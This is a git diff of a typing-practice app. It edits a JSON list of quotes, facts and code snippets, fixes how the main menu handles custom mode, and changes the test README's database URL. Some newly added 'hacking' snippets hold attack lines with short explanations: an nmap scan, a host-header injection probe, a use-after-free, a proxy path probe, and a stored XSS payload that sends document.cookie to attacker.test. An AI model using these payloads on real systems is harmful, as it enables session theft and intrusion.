+ "content": "All we have to decide is what to do with the time that is given us.",
+ "attribution": "The Lord of the Rings: The Fellowship of the Ring (2001)"
},
{
- "category": "quotes",
- "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.",
- "attribution": "Booker T. Washington"
+ "category": "general",
+ "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.",
+ "attribution": "General knowledge"
},
{
- "category": "technology",
- "content": "A firewall monitors and controls incoming and outgoing network traffic based on predetermined security rules, acting as a barrier between a trusted network and an untrusted one.",
- "attribution": "Technology"
+ "category": "history",
+ "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.",
+ "attribution": "History"
},
{
- "category": "anime",
- "content": "Don't believe in yourself. Believe in me who believes in you.",
- "attribution": "Gurren Lagann"
+ "category": "hacking",
+ "content": "nmap -sS -sV -T4 --top-ports 1000 10.0.0.0/24",
+ "attribution": "Recon",
+ "language": "shell",
+ "explanation": "A TCP SYN scan of the top 1000 ports. -sV asks each open port for its service banner, which is what turns a port list into a target list."
},
{
- "category": "science",
- "content": "The periodic table arranges chemical elements by increasing atomic number, grouping elements with similar properties into the same columns.",
- "attribution": "Science"
+ "category": "philosophy",
+ "content": "Every new beginning comes from some other beginning's end.",
+ "attribution": "Seneca, Letters from a Stoic"
},
{
- "category": "science",
- "content": "The speed of light in a vacuum is approximately two hundred ninety nine thousand, seven hundred ninety two kilometers per second, and nothing with mass can reach or exceed it.",
- "attribution": "Science"
+ "category": "hacking",
+ "content": "curl -H 'X-Forwarded-Host: attacker.test' -s https://target/reset | grep -i location",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "A header the application echoes back into a redirect or a password-reset link is a host header injection."
},
{
- "category": "movies",
- "content": "If you could see your whole life laid out in front of you, would you change things?",
- "attribution": "Arrival (2016)"
+ "category": "quotes",
+ "content": "Whatever you are, be a good one.",
+ "attribution": "Abraham Lincoln"
},
{
- "category": "general",
- "content": "Octopuses have three hearts and blue blood. Two of the hearts pump blood to the gills, while the third circulates it to the rest of the body, and the blue color comes from a copper-based protein instead of iron.",
- "attribution": "General knowledge"
+ "category": "literature",
+ "content": "I read that every known superstition in the world is gathered into the horseshoe of the Carpathians, as if it were the centre of some sort of imaginative whirlpool, and it made me uneasy in a way I could not explain.",
+ "attribution": "Bram Stoker, Dracula"
},
{
- "category": "philosophy",
- "content": "It's not what happens to you, but how you react to it that matters.",
- "attribution": "Epictetus"
+ "category": "quotes",
+ "content": "Our greatest glory is not in never falling, but in rising every time we fall.",
+ "attribution": "Confucius"
},
{
- "category": "general",
- "content": "Sharks existed long before trees. Fossil evidence suggests that sharks have been swimming in the oceans for more than four hundred million years, while the earliest trees did not appear until tens of millions of years later.",
- "attribution": "General knowledge"
+ "category": "quotes",
+ "content": "Success is to be measured not so much by the position that one has reached in life as by the obstacles which he has overcome while trying to succeed.",
+ "attribution": "Booker T. Washington"
},
{
- "category": "anime",
- "content": "What I want more than anything is for you to live and help me live too.",
- "attribution": "A Silent Voice"
+ "category": "literature",
+ "content": "Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do. Once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it.",
+ "attribution": "Lewis Carroll, Alice's Adventures in Wonderland"
},
{
- "category": "philosophy",
- "content": "Existentialism explores questions about individual freedom, choice, and meaning, arguing that people must create their own purpose in a universe that does not provide one automatically.",
- "attribution": "Philosophy"
+ "category": "literature",
+ "content": "It was the best of times, it was the worst of times, it was the age of wisdom, it was the age of foolishness, it was the epoch of belief, it was the epoch of incredulity, it was the season of Light, it was the season of Darkness.",
+ "attribution": "Charles Dickens, A Tale of Two Cities"
},
{
- "category": "science",
- "content": "Water is one of the few substances that becomes less dense as it freezes, which is why ice floats on top of liquid water instead of sinking to the bottom.",
- "attribution": "Science"
+ "category": "hacking",
+ "content": "free(ptr); ptr->next = head; /* use after free: the block may belong to someone else now */",
+ "attribution": "Memory safety",
+ "language": "clike",
+ "explanation": "Freed then used. The allocator may hand that block to something else between the two lines, so the write lands in another object."
},
{
- "category": "nature",
- "content": "Bees pollinate roughly a third of the crops humans rely on for food, making them essential to global agriculture despite their small size.",
- "attribution": "Nature"
+ "category": "anime",
+ "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
+ "attribution": "Princess Mononoke"
+ },
+ {
+ "category": "literature",
+ "content": "Mr. Sherlock Holmes, who was usually very late in the mornings, save upon those not infrequent occasions when he was up all night, was seated at the breakfast table.",
+ "attribution": "Arthur Conan Doyle, The Hound of the Baskervilles"
},
{
"category": "programming",
- "content": "if err != nil { return fmt.Errorf(\"read config: %w\", err) }",
- "attribution": "Go",
- "language": "clike",
- "explanation": "Go's error convention. %w wraps the original so errors.Is and errors.As can still see it further up."
+ "content": "def fib(n): return n if n < 2 else fib(n - 1) + fib(n - 2)",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "Recursion with a base case. Correct but exponential - each call spawns two more, so it recomputes the same values repeatedly."
},
{
- "category": "science",
- "content": "The human body contains roughly thirty seven trillion cells, each one specialized to carry out one of hundreds of different jobs inside the body.",
- "attribution": "Science"
+ "category": "anime",
+ "content": "Don't be afraid of things you don't understand. Just accept them as they are.",
+ "attribution": "Mushishi"
},
{
"category": "general",
- "content": "Simplicity is the soul of efficiency.",
- "attribution": "Austin Freeman"
+ "content": "The Eiffel Tower grows about six inches taller in the summer, as the iron structure expands slightly in the heat and contracts again once the weather cools.",
+ "attribution": "General knowledge"
+ },
+ {
+ "category": "quotes",
+ "content": "It is not the critic who counts; not the man who points out how the strong man stumbles. The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood.",
+ "attribution": "Theodore Roosevelt, Citizenship in a Republic"
+ },
+ {
+ "category": "hacking",
+ "content": "fetch('//attacker.test/?c=' + encodeURIComponent(document.cookie))",
+ "attribution": "Web",
+ "language": "javascript",
+ "explanation": "A stored XSS payload that steals a session. HttpOnly on the cookie is what stops this line reading it."
},
{
"category": "science",
- "content": "Sound travels as a wave of pressure through a medium such as air or water, and it cannot travel through the vacuum of space, since there are no particles to carry the vibration.",
+ "content": "Genetics research has shown that humans share about ninety-nine percent of their DNA with chimpanzees, the closest living relative to our species.",
"attribution": "Science"
},
{
- "category": "history",
- "content": "The printing press, developed by Johannes Gutenberg in the fifteenth century, made it possible to produce books far more quickly and cheaply than copying them by hand.",
- "attribution": "History"
+ "category": "general",
+ "content": "Simplicity is the soul of efficiency.",
+ "attribution": "Austin Freeman"
},
{
"category": "movies",
- "content": "You either die a hero, or you live long enough to see yourself become the villain.",
- "attribution": "The Dark Knight (2008)"
+ "content": "I'm trying to free your mind, Neo. But I can only show you the door. You're the one that has to walk through it.",
+ "attribution": "The Matrix (1999)"
},
{
- "category": "literature",
- "content": "Not all those who wander are lost.",
- "attribution": "J.R.R. Tolkien"
+ "category": "programming",
+ "content": "match result { Ok(v) => println!(\"{v}\"), Err(e) => eprintln!(\"error: {e}\") }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "match on a Result must cover both arms - the compiler rejects it otherwise, which is how Rust stops an error going unhandled."
},
{
- "category": "philosophy",
- "content": "Utilitarianism holds that the right action is the one that produces the greatest good for the greatest number of people, judging morality by outcomes rather than intentions.",
- "attribution": "Philosophy"
+ "category": "quotes",
+ "content": "To be great is to be misunderstood.",
+ "attribution": "Ralph Waldo Emerson, Self-Reliance"
},
{
- "category": "movies",
- "content": "Toto, I've a feeling we're not in Kansas anymore.",
- "attribution": "The Wizard of Oz (1939)"
+ "category": "quotes",
+ "content": "It always seems impossible until it's done.",
+ "attribution": "Nelson Mandela"
},
{
- "category": "literature",
- "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
- "attribution": "Mary Shelley, Frankenstein"
+ "category": "programming",
+ "content": "impl Display for Token { fn fmt(&self, f: &mut Formatter) -> Result { write!(f, \"{}\", self.0) } }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "Implementing Display is what makes a type usable in {}. self.0 is the first field of a tuple struct."
},
{
- "category": "history",
- "content": "The invention of the wheel around 3500 BCE is considered one of the most important technological breakthroughs in human history, transforming transportation and trade.",
- "attribution": "History"
+ "category": "business",
+ "content": "Cash flow tracks the actual movement of money into and out of a business, which can differ significantly from reported profit due to timing differences in payments.",
+ "attribution": "Business"
},
{
- "category": "quotes",
- "content": "Failure is impossible.",
- "attribution": "Susan B. Anthony"
+ "category": "programming",
+ "content": "squares = [n * n for n in range(1, 21) if n % 3 != 0]",
+ "attribution": "Python",
+ "language": "python",
+ "explanation": "A list comprehension: the expression, the loop, then the filter. Faster and clearer than appending in a for loop."
},
{
- "category": "anime",
- "content": "Life is suffering. It is hard. The world is cursed. But still, you find reasons to keep on living.",
- "attribution": "Princess Mononoke"
+ "category": "programming",
+ "content": "fn main() { println!(\"{}\", args().skip(1).collect::<Vec<_>>().join(\" \")); }",
+ "attribution": "Rust",
+ "language": "rust",
+ "explanation": "skip(1) drops the program name, which is always the first argument. Vec<_> lets the compiler infer the element type."
},
{
- "category": "programming",
- "content": "int *buf = malloc(len * sizeof(int)); if (!buf) return -1;",
- "attribution": "C",
- "language": "clike",
- "explanation": "malloc returns NULL when it fails, and checking is not optional. sizeof(int) rather than 4 keeps it correct across platforms."
+ "category": "science",
+ "content": "Photosynthesis is the process by which plants convert light energy into chemical energy, using carbon dioxide and water to produce glucose and release oxygen as a byproduct.",
+ "attribution": "Science"
},
{
- "category": "general",
- "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.",
- "attribution": "General knowledge"
+ "category": "programming",
+ "content": "for i, v := range items { fmt.Printf(\"%d: %v\\n\", i, v) }",
+ "attribution": "Go",
+ "language": "clike",
+ "explanation": "range yields index and value. In Go before 1.22 the loop variable was reused each iteration, which surprised anyone capturing it in a closure."
},
{
- "category": "quotes",
- "content": "That man over there says that women need to be helped into carriages, and lifted over ditches, and to have the best place everywhere. Nobody ever helps me into carriages, or over mud puddles, or gives me any best place, and ain't I a woman?",
- "attribution": "Sojourner Truth, Ain't I a Woman?"
+ "category": "hacking",
+ "content": "curl -s -o /dev/null -w '%{http_code}' 'https://target/@internal/admin'",
+ "attribution": "Web",
+ "language": "shell",
+ "explanation": "Requests a path with an absolute URL to see whether the proxy in front trusts it. A different response here often means an internal service is reachable."
},
{
"category": "general",
- "content": "The invention of the printing press in the fifteenth century transformed how knowledge spread across Europe. Books that once took months to copy by hand could suddenly be reproduced by the hundreds, making literacy far more accessible.",
+ "content": "The first computer programmer is widely considered to be Ada Lovelace, who wrote an algorithm for an early mechanical computer in the eighteen forties, decades before any machine capable of running it was ever built.",
"attribution": "General knowledge"
},
{
- "category": "programming",
- "content": "try: value = int(raw) except ValueError: value = 0",
- "attribution": "Python",
- "language": "python",
- "explanation": "Catching the specific exception, not a bare except - a bare one would also swallow KeyboardInterrupt."
+ "category": "quotes",
+ "content": "I went to the woods because I wished to live deliberately, to front only the essential facts of life, and see if I could not learn what it had to teach, and not, when I came to die, discover that I had not lived.",
+ "attribution": "Henry David Thoreau, Walden"
},
{
- "category": "anime",
- "content": "No matter how much I struggle, there's always a price to pay for changing the past.",
- "attribution": "Steins;Gate"
+ "category": "literature",
+ "content": "It was on a dreary night of November that I beheld the accomplishment of my toils. With an anxiety that almost amounted to agony, I collected the instruments of life around me, that I might infuse a spark of being into the lifeless thing that lay at my feet.",
+ "attribution": "Mary Shelley, Frankenstein"
}
] \ No newline at end of file
diff --git a/web/src/screens/mainMenu.js b/web/src/screens/mainMenu.js
index cc30bfa..9dba5df 100644
--- a/web/src/screens/mainMenu.js
+++ b/web/src/screens/mainMenu.js
@@ -263,10 +263,13 @@ export function renderMainMenu(root, props) {
root.querySelectorAll('.sp-popover .mode-popover-item[data-mode]').forEach(item => {
item.addEventListener('click', () => {
const mode = item.dataset.mode;
- // Custom needs its text before it can start: with none loaded the
- // picker hands off to the paste/upload panel instead.
+ // Custom is the one mode that cannot always start on being picked:
+ // with no text loaded it hands off to the paste/upload panel, and
+ // only starts once there is something to type. Selecting it
+ // without either of those left it unstartable.
if (mode === 'custom') {
- onSelectCategory(mode);
+ if (customText) onStartCustom();
+ else onSelectCategory(mode);
return;
}
onPickAndStart(mode);
diff --git a/web/tests/README.md b/web/tests/README.md
index fadc5b9..a76033a 100644
--- a/web/tests/README.md
+++ b/web/tests/README.md
@@ -15,8 +15,8 @@ can be re-run for regressions.
`cd web && node serve.mjs`
- The backend running on port 8787, pointed at a throwaway database (do not
run tests against a production database):
- `DATABASE_URL="sqlite:///tmp/typerpunk_test.db" PORT=8787 COOKIE_SECURE=0 \
- cargo run --package typerpunk-server`
+ `DATABASE_URL="postgres://typerpunk:[email protected]/typerpunk_test" \
+ PORT=8787 COOKIE_SECURE=0 cargo run --package typerpunk-server`
Both servers must already be running before starting the suite - it does
not launch or manage them itself.